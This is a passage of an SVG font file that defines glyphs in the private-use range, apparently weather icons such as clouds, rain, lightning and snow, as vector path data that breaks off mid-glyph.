<glyph unicode="&#xf000;" horiz-adv-x="3126" d="M0 90q0 -38 29 -64q27 -27 65 -27h627q41 0 72.5 -30t31.5 -73t-31.5 -74t-72.5 -31t-73 32q-29 26 -65 26q-38 0 -64 -25.5t-26 -63.5t26 -64q85 -85 202 -85q118 0 201 83.5t83 201.5t-83 202t-201 84h-627q-38 0 -66 -27.5t-28 -64.5zM0 411q0 -35 29 -61 q27 -27 65 -27h1170q118 0 201.5 83.5t83.5 201.5t-83 200t-202 82q-121 0 -201 -81q-25 -26 -25 -65t24.5 -63.5t63.5 -24.5q38 0 66 25q30 30 72 30t72.5 -30t30.5 -73t-30.5 -74t-72.5 -31h-1170q-38 0 -66 -27.5t-28 -64.5zM283 662q0 -13 18 -13h153q11 0 21 15 q36 87 111.5 143.5t170.5 63.5l56 8q20 0 20 18l7 55q17 173 146 289t304 116q176 0 305.5 -115.5t147.5 -289.5l7 -62q0 -19 19 -19h174q144 0 245.5 -100.5t101.5 -242.5q0 -143 -101.5 -244.5t-245.5 -101.5h-736q-20 0 -20 -19v-146q0 -18 20 -18h736q143 0 264.5 71 t192 193t70.5 265q0 118 -45 216q121 159 121 353q0 150 -75.5 279t-204.5 204.5t-279 75.5q-247 0 -412 -185q-128 65 -285 65q-225 0 -398 -139.5t-220 -356.5q-136 -32 -240.5 -131t-145.5 -234v-4q-3 -5 -3 -9zM1155 1838q0 -37 29 -64l65 -69q26 -26 65 -26 q40 0 65.5 24.5t25.5 64.5q0 38 -24 64l-70 69q-25 28 -63 28t-65.5 -27t-27.5 -64zM1723 1368q115 109 264 109q155 0 267.5 -112t112.5 -268q0 -104 -55 -195q-153 153 -369 153h-36q-38 173 -184 313zM1896 1927q0 -37 26.5 -62.5t64.5 -25.5t65 25.5t27 62.5v218 q0 38 -27 65t-65 27t-64.5 -27t-26.5 -65v-218zM2488 1685q0 -39 24 -64q27 -27 65 -27.5t61 27.5l156 153q27 27 27 65q0 37 -27 64t-65 27t-64 -26l-153 -157q-24 -25 -24 -62zM2570 423q0 -37 27 -64l68 -69q32 -26 66 -26q31 0 63 26q27 27 27 64q0 35 -27 65l-68 69 q-26 26 -62 26q-40 0 -67 -26.5t-27 -64.5zM2731 1097q0 -38 27 -63q24 -28 61 -28h216q38 0 65 27t27 64t-27.5 64.5t-64.5 27.5h-216q-38 0 -63 -27t-25 -65z" />
<glyph unicode="&#xf001;" horiz-adv-x="3105" d="M0 94q0 -39 26 -65q70 -29 94 -29h840q38 0 64.5 27.5t26.5 65.5q0 37 -26.5 62.5t-64.5 25.5h-840q-42 0 -81 -25.5t-39 -61.5zM149 414q0 -38 27 -63q24 -28 62 -28h1003q38 0 65 26.5t27 64.5t-27 65t-65 27h-1003q-37 0 -63 -27t-26 -65zM261 667q0 -14 18 -14h148 q19 0 23 14q41 85 116 140.5t169 66.5h58q17 0 17 20l8 60q11 114 74 207.5t163.5 146.5t215.5 53q174 0 304 -117t148 -290l8 -60q0 -20 19 -20h171q142 0 245.5 -102t103.5 -242q0 -144 -103 -246.5t-246 -102.5h-735q-18 0 -18 -20v-142q0 -19 18 -19h735q144 0 266 71 t193 193t71 266q0 116 -46 214q124 154 124 350q0 150 -75.5 279t-205 204.5t-280.5 75.5q-117 0 -223.5 -47.5t-185.5 -133.5q-132 69 -288 69q-226 0 -401 -140t-223 -358q-136 -34 -239.5 -133.5t-144.5 -235.5q-2 -2 -2 -7zM337 -246q0 -38 28 -63q25 -27 62 -27h1005 q37 0 63 26.5t26 63.5q0 40 -25.5 66.5t-63.5 26.5h-1005q-38 0 -64 -26.5t-26 -66.5zM1135 1835q0 -40 26 -64l68 -70q26 -26 64 -26q41 0 66.5 25.5t25.5 65.5q0 37 -26 63l-69 69q-27 27 -61 27q-40 0 -67 -26.5t-27 -63.5zM1707 1368q106 101 261 101 q156 0 265.5 -109.5t109.5 -265.5q0 -107 -49 -193q-151 152 -373 152h-32q-46 184 -182 315zM1878 1925q0 -38 26.5 -63t63.5 -25q40 0 64.5 24.5t24.5 63.5v218q0 39 -25 65.5t-64 26.5q-37 0 -63.5 -27t-26.5 -65v-218zM2467 1681q0 -39 27 -64q20 -26 64 -26q43 0 63 26 l156 154q26 24 26 66q0 37 -26.5 63.5t-64.5 26.5t-65 -25l-153 -158q-27 -26 -27 -63zM2552 416q0 -39 25 -64l70 -67q39 -29 65 -29t65 29q26 26 26 64q0 37 -26 65l-68 65q-30 28 -69 28q-38 0 -63 -26t-25 -65zM2706 1090q0 -39 29 -65q29 -27 64 -27h217q36 0 62.5 27 t26.5 65q0 36 -26 60.5t-63 24.5h-217q-39 0 -66 -24.5t-27 -60.5z" />
<glyph unicode="&#xf002;" horiz-adv-x="2867" d="M0 528q0 -144 70.5 -266t191.5 -192.5t264 -70.5h1155q143 0 265 70.5t193 192.5t71 266q0 106 -45 213q122 149 122 353q0 114 -44 217.5t-119 178.5t-178.5 119t-217.5 44q-237 0 -414 -186q-124 70 -288 70q-225 0 -398 -139.5t-222 -357.5q-179 -41 -292.5 -184 t-113.5 -328zM182 528q0 134 89.5 231t224.5 113l53 3q20 0 20 19l7 58q22 173 150 289.5t300 116.5q176 0 306.5 -117t146.5 -289l8 -62q4 -18 22 -18h172q141 0 243 -102t102 -242q0 -145 -101.5 -247.5t-243.5 -102.5h-1155q-140 0 -242 103.5t-102 246.5zM897 1837 q0 -39 26 -67l70 -68q40 -30 68 -27q33 0 59 27.5t26 66.5t-28 63l-63 70q-29 26 -65 26q-39 0 -66 -26.5t-27 -64.5zM1467 1365q111 107 261 107q158 0 268.5 -110t110.5 -268q0 -100 -54 -196q-155 153 -372 153h-34q-40 174 -180 314zM1640 1928q0 -41 25 -66t63 -25 q41 0 66 25t25 66v218q0 38 -25.5 63t-65.5 25q-38 0 -63 -25t-25 -63v-218zM2229 1683q0 -41 24 -66q34 -26 66 -26q29 0 63 26l153 153q26 29 26 68q0 38 -26 64t-63 26q-38 0 -62 -26l-157 -153q-24 -29 -24 -66zM2314 421q0 -38 27 -67l69 -67q24 -26 62 -26t63.5 26.5 t25.5 66.5q0 36 -26 62l-69 69q-26 26 -61 26q-38 0 -64.5 -26t-26.5 -64zM2470 1094q0 -37 28 -62q26 -26 65 -26h218q37 0 61.5 25t24.5 63t-24.5 64.5t-61.5 26.5h-218q-38 0 -65.5 -27t-27.5 -64z" />
<glyph unicode="&#xf003;" horiz-adv-x="3132" d="M0 85q0 -37 27 -62.5t67 -25.5h1996q38 0 65 25.5t27 62.5q0 38 -27 64.5t-65 26.5h-1996q-40 0 -67 -26.5t-27 -64.5zM280 419q0 -37 27 -62q27 -29 64 -29h1997q37 0 62.5 26.5t25.5 64.5q0 37 -25 62.5t-63 25.5h-1997q-38 0 -64.5 -25.5t-26.5 -62.5zM293 675 q0 -14 17 -14h153q11 0 22 17q38 83 113.5 136t166.5 60l58 8q18 0 18 19l7 54q17 173 146.5 289t304.5 116q173 0 302.5 -115t147.5 -286l8 -62q0 -18 20 -18h172q103 0 187.5 -55t125.5 -146q11 -17 21 -17h154q21 0 14 24l-21 59q121 150 121 353q0 113 -44 216t-118 178 t-178 119t-218 44q-247 0 -408 -179q-135 67 -286 67q-224 0 -398.5 -140.5t-223.5 -359.5q-285 -75 -382 -357q-2 -3 -2 -10zM466 -243q0 -38 29 -64q25 -28 63 -28h1999q37 0 64 27t27 65q0 37 -26.5 61.5t-64.5 24.5h-1999q-38 0 -65 -24.5t-27 -61.5zM1167 1834 q0 -38 25 -63l69 -68q27 -29 62 -29q36 0 63.5 26.5t27.5 65.5q0 38 -27 67l-68 65q-26 28 -64 28q-39 0 -63.5 -26.5t-24.5 -65.5zM1734 1367q108 108 259 108q157 0 267.5 -111t110.5 -267q0 -104 -52 -192q-152 152 -370 152h-36q-45 188 -179 310zM1905 1925 q0 -37 25.5 -62.5t62.5 -25.5q40 0 67 25.5t27 62.5v218q0 37 -28 64t-66 27q-37 0 -62.5 -26.5t-25.5 -64.5v-218zM2491 1682q0 -36 26 -64q59 -57 131 0l152 153q26 28 26 68q0 37 -26 63t-63 26q-38 0 -64 -26l-156 -157q-26 -28 -26 -63zM2577 424q0 -38 28 -64l68 -69 q26 -26 62 -26q33 0 65 26q26 28 26 68q0 36 -26 60l-69 70q-28 26 -64 26q-38 0 -64 -26.5t-26 -64.5zM2735 1097q0 -39 28 -64q24 -27 63 -27h219q37 0 62.5 26.5t25.5 64.5t-25.5 64t-62.5 26h-219q-38 0 -64.5 -26.5t-26.5 -63.5z" />
<glyph unicode="&#xf004;" horiz-adv-x="2884" d="M0 530q0 -214 149 -367.5t363 -163.5q19 0 19 18v143q0 19 -19 19q-137 7 -233.5 109.5t-96.5 241.5q0 133 90.5 231t224.5 114l57 4q21 0 21 19l7 59q17 173 146.5 289.5t305.5 116.5q174 0 305.5 -116.5t149.5 -289.5l8 -62q0 -20 18 -20h173q143 0 247.5 -102.5 t104.5 -242.5q0 -139 -97 -241.5t-234 -109.5q-21 0 -21 -19v-143q0 -18 21 -18q214 7 362 161.5t148 369.5q0 119 -44 214q126 154 126 355q0 151 -76 280.5t-205.5 205.5t-280.5 76q-250 0 -416 -187q-128 70 -289 70q-226 0 -401.5 -140t-225.5 -359q-177 -42 -292 -186 t-115 -329zM569 -223q16 -35 49 -48q32 -16 67.5 -2.5t47.5 47.5q16 35 2.5 69t-47.5 47q-32 17 -66.5 3t-50.5 -50q-15 -27 -2 -66zM638 80q0 -22 10 -41q31 -49 95 -49q51 0 74 69l111 343q13 39 -7.5 71.5t-58.5 39.5q-35 11 -67.5 -6.5t-43.5 -53.5l-110 -344 q-3 -15 -3 -29zM837 -519q0 -21 5 -31q14 -35 48 -48q15 -8 37 -8q10 0 32 6q35 13 50.5 48.5t-0.5 70.5t-48 48.5t-66 -0.5q-31 -12 -44.5 -37.5t-13.5 -48.5zM902 1843q0 -40 26 -64l69 -69q26 -26 58 -29q33 -5 65.5 24.5t32.5 68.5q0 38 -26 64l-68 68q-30 27 -66 27 q-39 0 -65 -26t-26 -64zM915 -232q0 -26 17 -51t51 -35q18 -4 26 -4q24 0 41 8q32 13 46 61l192 655q11 38 -6 69.5t-53 41.5q-38 11 -70.5 -6t-43.5 -54l-196 -660q-4 -20 -4 -25zM1283 -191q0 -20 7 -33q14 -33 48 -47q17 -8 37 -8q10 0 32 6q36 14 49 47q13 35 0 67.5 t-45 48.5q-36 17 -70 3t-51 -50q-7 -13 -7 -34zM1360 83q0 -25 16.5 -48.5t49.5 -33.5q14 -3 27 -3q62 0 84 65l110 339q12 37 -7 69t-55 42q-38 11 -68.5 -6t-42.5 -54l-109 -341q-5 -22 -5 -29zM1474 1371q107 103 265 103q156 0 267 -109.5t111 -265.5q0 -100 -55 -197 q-153 154 -374 154h-33q-47 185 -181 315zM1647 1933q0 -38 27 -65t65 -27q37 0 62.5 27t25.5 65v220q0 38 -25.5 65t-62.5 27q-38 0 -65 -27t-27 -65v-220zM2239 1689q0 -39 27 -64q24 -28 61.5 -27.5t64.5 27.5l154 154q29 24 29 64q0 38 -27.5 65t-65.5 27q-35 0 -61 -29 l-155 -153q-27 -25 -27 -64zM2325 419q0 -36 26 -64l70 -67q23 -29 64 -29q38 0 61 29q29 26 29 64t-29 65l-69 66q-25 28 -62 28t-63.5 -27t-26.5 -65zM2481 1099q0 -38 28 -64q28 -28 66 -28h217q38 0 65.5 27t27.5 65q0 37 -27 62.5t-66 25.5h-217q-40 0 -67 -25.5 t-27 -62.5z" />
<glyph unicode="&#xf005;" horiz-adv-x="2868" d="M0 528q0 -213 148.5 -366t362.5 -163q18 0 18 18v146q0 19 -18 19q-139 11 -234 110.5t-95 235.5q0 134 90.5 233.5t223.5 110.5l56 8q21 0 21 18l6 54q17 173 146.5 289.5t305.5 116.5q174 0 303.5 -116t148.5 -290l7 -62q0 -18 20 -18h171q145 0 247.5 -101t102.5 -243 q0 -136 -95 -235.5t-234 -110.5q-21 0 -21 -19v-146q0 -18 21 -18q213 7 360.5 161t147.5 368q0 108 -50 221q127 151 127 349q0 114 -44.5 217.5t-119.5 178.5t-178.5 119t-216.5 44q-247 0 -414 -185q-137 66 -283 66q-227 0 -401.5 -139t-223.5 -359 q-176 -41 -291 -184.5t-115 -327.5zM800 -674h32l567 837q6 7 2.5 14.5t-14.5 7.5h-233l245 449q12 23 -15 23h-314q-13 0 -23 -15l-230 -610q-4 -22 15 -22h231zM894 1841q0 -40 26 -66l70 -69q67 -51 129 0q26 29 26 68q0 37 -26 63l-68 69q-30 27 -66 27q-37 0 -64 -27 t-27 -65zM1464 1369q109 109 264 109q156 0 266 -111t110 -269q0 -97 -54 -193q-156 150 -369 150h-33q-43 182 -184 314zM1637 1933q0 -40 25.5 -66t65.5 -26q38 0 63 25.5t25 66.5v218q0 38 -25 63t-63 25t-64.5 -25t-26.5 -63v-218zM2225 1686q0 -37 29 -64t59 -27 q26 0 66 27l154 153q27 29 27 67q0 39 -26.5 65t-64.5 26q-35 0 -62 -27l-153 -153q-29 -31 -29 -67zM2312 425q0 -37 26 -65l69 -70q26 -26 62 -26q38 0 64.5 27t26.5 67q0 36 -27 61l-66 70q-30 25 -66 25q-37 0 -63 -26t-26 -63zM2467 1098q0 -35 28 -61q27 -27 64 -27 h218q38 0 65 25.5t27 62.5q0 38 -27.5 65t-64.5 27h-218q-37 0 -64.5 -27t-27.5 -65z" />
<glyph unicode="&#xf006;" horiz-adv-x="2885" d="M0 523q0 -212 146 -363t360 -161q19 0 19 18v142q0 19 -19 19q-137 7 -231 106.5t-94 238.5q0 135 90 234t224 110l56 8q17 0 17 15l8 59q20 175 147.5 290t302.5 115t305.5 -115t147.5 -287l7 -62q4 -18 23 -18h171q142 0 244 -102.5t102 -246.5q0 -139 -94 -238.5 t-231 -106.5q-21 0 -21 -19v-142q0 -18 21 -18q213 7 359 159t146 365q0 108 -41 214q124 154 124 357q0 113 -44 216.5t-119 178.5t-178.5 119.5t-217.5 44.5q-246 0 -412 -186q-143 70 -292 70q-226 0 -398.5 -140t-221.5 -360q-180 -41 -293 -184.5t-113 -329.5z M571 -227q0 -27 17.5 -54t50.5 -37q37 -11 68.5 4t42.5 60l15 65q8 36 -10.5 67.5t-55.5 42.5q-36 11 -68 -8t-42 -57l-15 -63q-3 -9 -3 -20zM653 82q0 -35 26 -61q25 -27 60 -27q38 0 64.5 25.5t26.5 62.5t-26.5 62.5t-64.5 25.5q-37 0 -61.5 -25t-24.5 -63zM718 325 q-2 -25 14 -48.5t51 -34.5q33 -10 66.5 7.5t44.5 54.5l29 96q12 39 -7 69.5t-58 41.5q-35 11 -67.5 -7t-43.5 -53l-26 -98q-3 -27 -3 -28zM841 -560q0 -27 17 -52.5t52 -35.5q14 -3 26 -3q69 0 85 65l14 63q10 41 -9 73t-56 39q-34 11 -67 -7.5t-44 -54.5l-14 -63 q-4 -18 -4 -24zM901 1834q0 -38 26 -64l70 -68q22 -25 57.5 -27.5t66.5 27.5q26 26 26 63q0 38 -26 64l-67 69q-25 25 -63 28q-37 0 -63.5 -27t-26.5 -65zM925 -250q0 -36 26 -62t62 -26q38 0 63 25t25 63q0 37 -25 62t-63 25t-63 -25t-25 -62zM991 -8q-2 -24 14.5 -50 t48.5 -32q37 -10 68 6t44 60l28 96q11 35 -7.5 67t-56.5 43q-35 11 -68 -8.5t-44 -56.5l-24 -96q-3 -13 -3 -29zM1286 -237q0 -27 16 -51.5t49 -34.5q5 0 15 -2t15 -2q65 0 81 70l15 64q11 34 -7.5 67t-54.5 44q-40 10 -72.5 -8.5t-43.5 -56.5l-10 -63q0 -2 -1.5 -12 t-1.5 -15zM1365 78q0 -37 26 -61q24 -26 62 -26t63 25t25 62q0 38 -25 63t-63 25t-63 -25t-25 -63zM1430 325q0 -27 17 -51.5t52 -34.5q3 0 13 -2t15 -2q17 0 39 10q33 17 43 56l26 96q10 36 -7.5 67.5t-53.5 42.5q-37 11 -68.5 -6t-42.5 -54l-30 -97q0 -3 -1.5 -11.5 t-1.5 -13.5zM1467 1361q106 106 263 106q158 0 269 -108.5t111 -264.5q0 -106 -57 -200q-157 157 -373 157h-33q-45 175 -180 310zM1643 1923q0 -37 24.5 -61.5t62.5 -24.5q39 0 66 24.5t27 61.5v220q0 37 -27.5 64t-65.5 27q-37 0 -62 -26.5t-25 -64.5v-220zM2232 1681 q0 -40 24 -64q57 -57 129 0l153 153q27 27 27 67q0 38 -26.5 64.5t-64.5 26.5q-37 0 -65 -26l-153 -158q-24 -23 -24 -63zM2315 417q0 -37 29 -63l65 -67q32 -26 65 -26q32 0 64 26q27 25 27 63q0 36 -27 66l-69 65q-24 27 -61 27t-64 -27q-29 -27 -29 -64zM2473 1094 q0 -38 28 -63q29 -29 66 -29h216q37 0 62.5 27t25.5 65t-25.5 64.5t-62.5 26.5h-216q-38 0 -66 -27t-28 -64z" />
<glyph unicode="&#xf007;" horiz-adv-x="2885" d="M0 527q0 -180 107 -321.5t275 -188.5q15 -2 26 8l125 150q-143 0 -245 103.5t-102 248.5q0 133 90.5 231t225.5 114l52 3q21 0 21 20l8 58q17 173 147 290t305 117q176 0 307 -117t148 -290l7 -63q7 -18 23 -18h175q141 0 243 -101.5t102 -243.5q0 -135 -90.5 -236 t-220.5 -112q-78 -9 -96 -30l-234 -301q-22 -30 -17 -67t33 -60q24 -27 63.5 -22t63.5 38l205 262q131 13 239.5 87t171.5 191t63 250q0 115 -45 214q126 153 126 355q0 113 -45 217t-120.5 179t-179.5 120t-218 45q-240 0 -414 -186q-127 70 -290 70q-226 0 -400 -140.5 t-221 -359.5q-181 -41 -297.5 -185t-116.5 -329zM416 -352q12 -35 49 -51q35 -16 71 -1t49 50q15 33 0.5 66.5t-47.5 49.5q-35 16 -70.5 2t-48.5 -49q-13 -41 -3 -67zM609 -59v-12q3 -35 32 -59q28 -24 67 -21t61 31l233 301q23 29 20 67.5t-31 60.5q-29 24 -67.5 20 t-64.5 -33l-229 -299q-21 -26 -21 -56zM664 -578q0 -10 6 -32q14 -35 49 -49q18 -7 38 -7q15 0 33 5q34 13 47 47q16 35 2.5 71t-47.5 49q-35 16 -71.5 1.5t-48.5 -48.5q-8 -17 -8 -37zM842 -325v-11q3 -36 35 -62q24 -26 64 -21.5t64 36.5l442 558q22 32 18 68.5t-33 62.5 q-29 23 -66 18.5t-60 -33.5l-444 -561q-20 -24 -20 -55zM904 1839q0 -39 29 -63l65 -70q25 -25 58 -28q33 -5 65.5 24t32.5 68q0 36 -26 64l-69 69q-24 26 -62 26q-39 0 -66 -26t-27 -64zM1218 -447q0 -19 7 -33q14 -35 48 -49q17 -8 37 -8q10 0 32 6q36 14 49 49 q16 35 2.5 70.5t-47.5 48.5q-35 16 -71.5 2t-49.5 -48q-7 -18 -7 -38zM1475 1368q113 103 264 103q158 0 270 -109.5t112 -265.5q0 -106 -55 -198q-155 155 -371 155h-36q-44 184 -184 315zM1648 1929q0 -37 26.5 -62.5t64.5 -25.5q39 0 66 25.5t27 62.5v221q0 37 -27.5 64 t-65.5 27q-37 0 -64 -26.5t-27 -64.5v-221zM2243 1686q0 -38 24 -64q28 -27 65.5 -27.5t60.5 27.5l159 154q26 26 26 65q0 38 -27.5 65.5t-64.5 27.5q-35 0 -64 -27l-155 -157q-24 -26 -24 -64zM2326 416q0 -38 26 -64l70 -67q26 -26 58 -29h6q28 0 66 29q26 26 26 62 q0 38 -26 67l-70 66q-26 27 -63 27q-39 0 -66 -26.5t-27 -64.5zM2486 1096q0 -38 26 -64q26 -29 64 -29h218q38 0 65 27.5t27 65.5q0 37 -27 62.5t-65 25.5h-218q-38 0 -64 -25.5t-26 -62.5z" />
<glyph unicode="&#xf008;" horiz-adv-x="2877" d="M0 529q0 -213 148.5 -366.5t363.5 -163.5q18 0 18 18v143q0 18 -18 18q-137 7 -233.5 109.5t-96.5 241.5q0 132 90.5 230t224.5 114l56 5q21 0 21 18l7 58q17 173 146.5 290t304.5 117q174 0 305 -117t149 -290l8 -61q0 -20 18 -20h173q142 0 245.5 -102t103.5 -242 q0 -139 -96 -241.5t-233 -109.5q-20 0 -20 -18v-143q0 -18 20 -18q213 7 361.5 161.5t148.5 368.5q0 115 -45 214q125 155 125 353q0 152 -75.5 281.5t-204.5 204.5t-280 75q-249 0 -414 -186q-131 70 -289 70q-226 0 -401 -140.5t-224 -358.5q-177 -42 -292 -185.5 t-115 -327.5zM576 -202q0 -27 17.5 -52.5t52.5 -35.5q18 -4 29 -4q63 0 82 68l169 627q11 38 -8.5 71t-56.5 40q-35 11 -67.5 -7t-43.5 -54l-169 -630q-5 -20 -5 -23zM854 -531q0 -30 16 -55.5t55 -31.5q18 -4 28 -4q25 0 48 18.5t29 51.5l256 953q10 37 -7.5 68.5 t-53.5 42.5q-37 11 -69.5 -7t-42.5 -54l-256 -953q-3 -27 -3 -29zM899 1840q0 -38 27 -65l69 -70q31 -24 66 -24q34 0 62 25t28 63q0 39 -26 68l-68 69q-29 27 -64 27q-39 0 -66.5 -27.5t-27.5 -65.5zM1297 -205q0 -26 16.5 -50.5t49.5 -34.5q18 -4 27 -4q28 0 52.5 15.5 t31.5 52.5l169 627q10 37 -7.5 68.5t-53.5 42.5q-38 11 -69.5 -7t-41.5 -54l-169 -630q-5 -23 -5 -26zM1471 1368q113 107 264 107q157 0 267 -110.5t110 -268.5q0 -100 -55 -197q-155 155 -372 155h-35q-45 186 -179 314zM1643 1928q0 -37 27 -62.5t65 -25.5q37 0 62.5 25 t25.5 63v219q0 41 -25 67t-63 26q-40 0 -66 -26.5t-26 -66.5v-219zM2233 1685q0 -39 29 -63q22 -25 58.5 -27.5t66.5 27.5l154 153q28 27 28 67q0 39 -26.5 65t-65.5 26q-33 0 -62 -27l-153 -154q-29 -27 -29 -67zM2320 421q0 -38 26 -67l69 -67q28 -22 64 -22l2 -2 q36 0 62 26t26 65q0 38 -28 62l-66 70q-29 26 -66 26t-63 -26.5t-26 -64.5zM2475 1096q0 -38 28 -63q28 -28 66 -28h217q38 0 65 27t27 64q0 38 -27 65.5t-65 27.5h-217q-38 0 -66 -27.5t-28 -65.5z" />
<glyph unicode="&#xf009;" horiz-adv-x="2868" d="M0 530q0 -213 148.5 -365.5t362.5 -163.5q18 0 18 18v143q0 19 -18 19q-136 7 -231 108.5t-95 240.5q0 134 89.5 231t224.5 113l53 4q21 0 21 19l6 57q17 173 146.5 289.5t305.5 116.5q175 0 305 -116.5t146 -289.5l8 -61q0 -19 19 -19h178q140 0 242 -102t102 -242 q0 -136 -95.5 -237t-230.5 -112q-18 0 -18 -19v-143q0 -18 18 -18q140 4 256 76.5t182.5 192t66.5 260.5q0 114 -44 209q121 150 121 350q0 114 -44 217.5t-119 178.5t-178.5 119t-217.5 44q-241 0 -406 -177q-127 68 -291 68q-226 0 -399.5 -139.5t-220.5 -357.5 q-180 -41 -295.5 -184t-115.5 -328zM578 -184q0 -29 17 -57t48 -38q31 -11 65.5 6.5t46.5 58.5l27 112q11 33 -7.5 66.5t-54.5 44.5q-40 10 -72 -9t-39 -57l-30 -106q-1 -7 -1 -21zM717 319q0 -61 68 -84q35 -12 68 5.5t44 56.5l26 110q11 33 -7 66t-54 45q-39 10 -71 -8.5 t-39 -55.5l-32 -109q-3 -13 -3 -26zM847 -522q0 -26 18 -53t52 -38q1 0 10.5 -1.5t15.5 -1.5q22 0 39 8q30 13 44 62l29 106q11 37 -7.5 69.5t-54.5 42.5q-37 11 -69.5 -7.5t-42.5 -54.5l-30 -109q-4 -16 -4 -23zM896 1832q0 -40 27 -66l70 -69q54 -54 125 0q26 28 26 65 t-26 65l-67 70q-26 26 -64 26q-37 0 -64 -26.5t-27 -64.5zM991 -11q0 -27 17 -54t50 -37q37 -11 68 5t43 60l26 108q11 37 -6.5 69.5t-53.5 43.5q-40 11 -72.5 -8.5t-39.5 -56.5l-30 -110q-2 -6 -2 -20zM1288 -195q4 -60 67 -88l27 -4q26 0 50.5 17t34.5 53l31 108 q10 38 -9.5 70.5t-56.5 39.5q-33 11 -66 -7.5t-44 -54.5l-29 -109q-1 -4 -2 -9t-2 -8.5t-1 -7.5zM1437 313q0 -26 16.5 -51.5t48.5 -34.5l27 -3q31 0 55 19t30 50l29 106q11 38 -7 69.5t-54 41.5q-37 11 -68.5 -6.5t-41.5 -53.5l-32 -113q-3 -13 -3 -24zM1472 1365 q106 102 256 102q157 0 268 -110.5t111 -267.5q0 -90 -50 -188q-153 153 -370 153h-36q-43 181 -179 311zM1637 1923q0 -40 25.5 -65.5t65.5 -25.5t65.5 25.5t25.5 65.5v215q0 40 -25.5 66t-65.5 26t-65.5 -26t-25.5 -66v-215zM2229 1678q0 -40 24 -65q33 -27 66 -27 q30 0 63 27l153 153q26 29 26 67t-26 64t-63 26t-65 -26l-154 -153q-24 -28 -24 -66zM2313 416q0 -37 28 -67l66 -68q33 -33 66 -33q31 0 62 33q29 29 28 65.5t-28 63.5l-69 70q-26 26 -61 26q-38 0 -65 -26.5t-27 -63.5zM2470 1089q0 -36 26 -62t62 -26h218q41 0 67 25 t26 63q0 40 -26.5 66t-66.5 26h-218q-37 0 -62.5 -27t-25.5 -65z" />
<glyph unicode="&#xf00a;" horiz-adv-x="2864" d="M0 525q0 -138 68 -257t185.5 -191t256.5 -76q18 0 18 18v142q0 20 -18 20q-136 7 -232.5 108.5t-96.5 235.5q0 132 90.5 230t223.5 114l56 6q19 0 19 20l8 54q17 175 145.5 291.5t303.5 116.5q174 0 304.5 -116.5t147.5 -288.5l8 -62q0 -18 18 -18h172q144 0 246 -102.5 t102 -244.5q0 -134 -96.5 -235.5t-231.5 -108.5q-20 0 -20 -20v-142q0 -18 20 -18q212 7 360 160t148 364q0 121 -46 217q126 151 126 352q0 150 -75 278.5t-204 203.5t-279 75q-246 0 -413 -185q-130 70 -287 70q-225 0 -399 -139.5t-223 -356.5q-179 -44 -292 -187 t-113 -328zM677 93q0 -38 25.5 -65t62.5 -27t62.5 27t25.5 65q0 36 -25.5 62t-62.5 26t-62.5 -26t-25.5 -62zM677 -294q0 -33 26 -61q28 -26 62 -26q38 0 63 25t25 62q0 38 -25.5 63t-62.5 25t-62.5 -25t-25.5 -63zM895 1832q0 -39 26 -63l70 -70q26 -26 57 -27 q33 -5 65 23.5t32 67.5t-26 68l-68 65q-24 27 -62 27q-40 0 -67 -26.5t-27 -64.5zM1016 -112q0 -36 26 -64q26 -26 62 -26q38 0 64.5 26t26.5 64q0 37 -26.5 63.5t-64.5 26.5q-36 0 -62 -26.5t-26 -63.5zM1016 272q0 -36 26 -62t62 -26q38 0 64.5 25.5t26.5 62.5t-26.5 63 t-64.5 26q-36 0 -62 -26t-26 -63zM1016 -502q0 -35 26 -61q27 -27 62 -27q38 0 64.5 25t26.5 63t-26.5 64.5t-64.5 26.5q-35 0 -61.5 -27t-26.5 -64zM1360 93q0 -38 26 -65t63 -27t62.5 27t25.5 65q0 36 -25.5 62t-62.5 26t-63 -26t-26 -62zM1360 -294q0 -34 25 -61 q28 -26 64 -26q38 0 63 25t25 62q0 38 -25.5 63t-62.5 25q-38 0 -63.5 -25.5t-25.5 -62.5zM1464 1365q110 106 263 106q155 0 265 -111t110 -266q0 -100 -54 -196q-153 153 -371 153h-34q-47 187 -179 314zM1635 1921q0 -37 27 -62t65 -25t63 25t25 62v218q0 38 -25.5 65 t-62.5 27t-64.5 -27.5t-27.5 -64.5v-218zM2223 1679q0 -37 27 -63q24 -25 59.5 -27.5t66.5 27.5l153 153q28 28 28 65q0 38 -27.5 65t-64.5 27q-35 0 -62 -27l-153 -156q-27 -25 -27 -64zM2309 421q0 -40 26 -66l68 -67q39 -26 68 -26q33 0 59.5 27.5t26.5 65.5q0 36 -28 62 l-66 69q-28 26 -65 26t-63 -26.5t-26 -64.5zM2463 1094q0 -38 28 -63q27 -29 66 -29h216q37 0 64 27t27 65t-27 64.5t-64 26.5h-216q-38 0 -66 -27t-28 -64z" />
<glyph unicode="&#xf00b;" horiz-adv-x="2864" d="M0 529q0 -139 68 -258.5t185 -191.5t256 -78q19 0 19 18v142q0 20 -19 20q-136 7 -232 108.5t-96 239.5q0 132 90 229.5t223 113.5l56 3q20 0 20 19l8 58q17 173 145.5 289t303.5 116q172 0 302.5 -116.5t149.5 -288.5l7 -62q0 -18 18 -18h173q141 0 244.5 -102 t103.5 -241q0 -138 -96 -239.5t-233 -108.5q-19 0 -19 -20v-142q0 -18 19 -18q139 4 256 76.5t184 192.5t67 259q0 118 -44 213q124 152 124 352q0 151 -75 279.5t-203 203t-278 74.5q-248 0 -413 -185q-131 70 -287 70q-225 0 -399 -139.5t-223 -356.5 q-176 -42 -290.5 -185t-114.5 -326zM630 435q0 -61 45 -104t108 -43q64 0 107 42.5t43 104.5q0 39 -37.5 107t-69.5 106q-34 36 -43 45l-38 -43q-43 -46 -79 -110t-36 -105zM895 1834q0 -41 26 -65l69 -70q67 -50 129 0q26 31 26 68t-26 63l-68 69q-30 27 -65 27 q-39 0 -65 -27t-26 -65zM947 13q0 -105 72.5 -176.5t175.5 -71.5q104 0 177 73t73 175q0 86 -86 210q-74 97 -136 159q-13 9 -28 24l-25 -24q-57 -52 -136 -157q-87 -121 -87 -212zM1104 719q0 -40 30.5 -69t73.5 -29q41 0 70 29t29 69q0 66 -99 171l-26 -27 q-29 -32 -53.5 -74.5t-24.5 -69.5zM1464 1365q106 106 263 106q156 0 265.5 -110t109.5 -267q0 -94 -55 -196q-155 153 -370 153h-35q-46 186 -178 314zM1635 1926q0 -38 27.5 -65t64.5 -27t62 27t25 65v217q0 38 -24.5 63t-62.5 25t-65 -25t-27 -63v-217zM2223 1679 q0 -39 27 -63q28 -26 60 -26q28 0 65 26l153 153q29 29 29 66q0 39 -27 65t-65 26q-35 0 -62 -27l-153 -153q-27 -27 -27 -67zM2309 423q0 -40 25 -68l69 